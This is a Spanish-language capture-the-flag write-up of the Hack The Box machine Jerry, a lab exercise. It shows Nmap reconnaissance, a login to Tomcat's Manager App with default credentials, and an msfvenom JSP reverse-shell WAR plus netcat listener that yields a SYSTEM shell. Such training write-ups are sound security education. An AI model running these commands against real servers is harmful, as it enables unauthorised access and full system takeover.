Jerry - Hack The Box - ESP
DESCRIPCION
Hoy veremos la máquina easy Jerry, la cual tiene montado un servidor web con TomCat, conseguiremos acceder al Manager App mediante la obtención de credenciales haciendo reconocimiento web, desplegaremos una aplicación .War que contendrá una reverse shell, dándonos acceso como administrador del sistema.
INDICE
- Reconocimiento con Nmap
- Reconocimiento Web
- Manager App Tomcat
- Vías Potenciales
- Flags
- Conocimientos obtenidos
- Autores y Referencias
RECONOCIMIENTO DE PUERTOS
Lo primero será ver que puertos están abiertos en la máquina objetivo, para ello utilizaremos la herramienta Nmap
❯ cat Puertos
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: Puertos
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ nmap --open -p- -T5 -Pn -oG Puertos 10.10.10.95
2 │ Host: 10.10.10.95 () Status: Up
3 │ Host: 10.10.10.95 () Ports: 8080/open/tcp//http-proxy/// Ignored State: filtered (65534)
4 │ # Nmap done at Tue Jul 12 01:26:25 2022 -- 1 IP address (1 host up) scanned in 68.44 seconds
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
❯ Reconocimiento Puertos
{*} Extrayendo puertos...
La direccion ip es: 10.10.10.95
Los puertos abiertos son: 8080
Los puertos han sido copiados al portapapeles
Sabiendo que solo tenemos el puerto 8080
abierto procederemos a lanzar unos scripts predeterminados con Nmap.
1 │ nmap -sCV -p8080 -Pn -oN Objetivos 10.10.10.95
2 │ Nmap scan report for 10.10.10.95
3 │ Host is up (0.034s latency).
4 │
5 │ PORT STATE SERVICE VERSION
6 │ 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
7 │ |_http-title: Apache Tomcat/7.0.88
8 │ |_http-favicon: Apache Tomcat
9 │ |_http-server-header: Apache-Coyote/1.1
El servidor web está montado con Tomcat, por lo que vamos a comprobar la página web y que posibles accesos tenemos.
RECONOCIMIENTO WEB
Al visitar la página web veremos la plantilla por defecto que utiliza TomCat.
Si pudiésemos acceder al Manager App podríamos intentar subir un archivo .War maliciosos el cual nos dará una reverse shell y nos comunicaremos con la máquina víctima.
Intentamos acceder, pero nos pide credenciales:
Probando unas credenciales erróneas nos salta este error por parte de TomCat.
Si nos fijamos bien, nos está dando como credenciales de ejemplo esta línea.
<role rolename="manager-gui"/>
<user username="tomcat" password="s3cret" roles="manager-gui"/>
Espero que el Administrador no haya dejado por defecto estas credenciales, sería un error de novato ¿No creéis?
ACCESO AL MANAGER APP
Probamos con tomcat:s3cret
y bum, acceso concedido.
Si miramos en la parte de abajo encontramos lo siguiente.
Parece que sí podemos subir un archivo .WAR permitiéndonos desplegar una aplicación maliciosa. Para ello podemos usar msfvenom
, tenemos la cheatsheet del ataque mediante .War file en
HackTrinks.
Vías Potenciales
CREACION DE LA REVSHELL WAR CON MSFVENOM
Introducimos los parámetros correspondientes de la reverse shell:
❯ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.3 LPORT=1234 -f war -o revshell.war
Payload size: 1088 bytes
Final size of war file: 1088 bytes
Saved as: revshell.war
Antes de subir y ejecutar la aplicación maliciosa nos ponemos por escucha con netcat
.
❯ rlwrap nc -lnvp 1234 # rlwrap nos permite obtener una tty interactiva con windows
listening on [any] 1234 ...
SUBIR REVERSE SHELL
En este momento podemos subir el archivo .War desde el menú mostrado anteriormente.
Una vez subida la aplicación se nos mostrará en el menú del manger.
Si nos dirigimos al directorio http://10.10.10.95:8080/revshell/
la reverse shell se nos ejecutará y la recibiremos en el listener que hemos establecido previamente.
❯ rlwrap nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.10.95] 49193
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
whoami
whoami
nt authority\system
C:\apache-tomcat-7.0.88>
¡Perfecto! Somos admins por defecto, por lo que solo tenemos que buscar las flags.
FLAGS
USER.TXT Y ADMIN.TXT
dir
Directory of C:\Users\Administrator\Desktop\flags
06/19/2018 07:09 AM <DIR> .
06/19/2018 07:09 AM <DIR> ..
06/19/2018 07:11 AM 88 2 for the price of 1.txt
1 File(s) 88 bytes
2 Dir(s) 2,419,621,888 bytes free
type "2 for the price of 1.txt"
user.txt
7004xxxxxxxxxxxxxxxxxxxxxxxxxxxx
root.txt
04a8xxxxxxxxxxxxxxxxxxxxxxxxxxxx
Pues teníamos las dos flags en el mismo archivo, podemos dar por pwneada la máquina Jerry.
CONOCIMIENTOS OBTENIDOS
De la máquina Jerry podemos extraer los siguientes conocimientos:
- Reconocimiento de puertos abiertos con Nmap.
- Reconocimiento web en busca de credenciales.
- Creación de una reverse shell en formato .War con Msfvenom.
- Desplegar un archivo .War desde el Manager App de TomCat.
AUTORES y REFERENCIAS
Autor del write up: Luis Miranda Sierra. HTB, si queréis contactarme por cualquier motivo lo podéis hacer desde Twitter.
Autor de la máquina: mrh4sh, muchas gracias por la creación de Jerry aportando a la comunidad. HTB.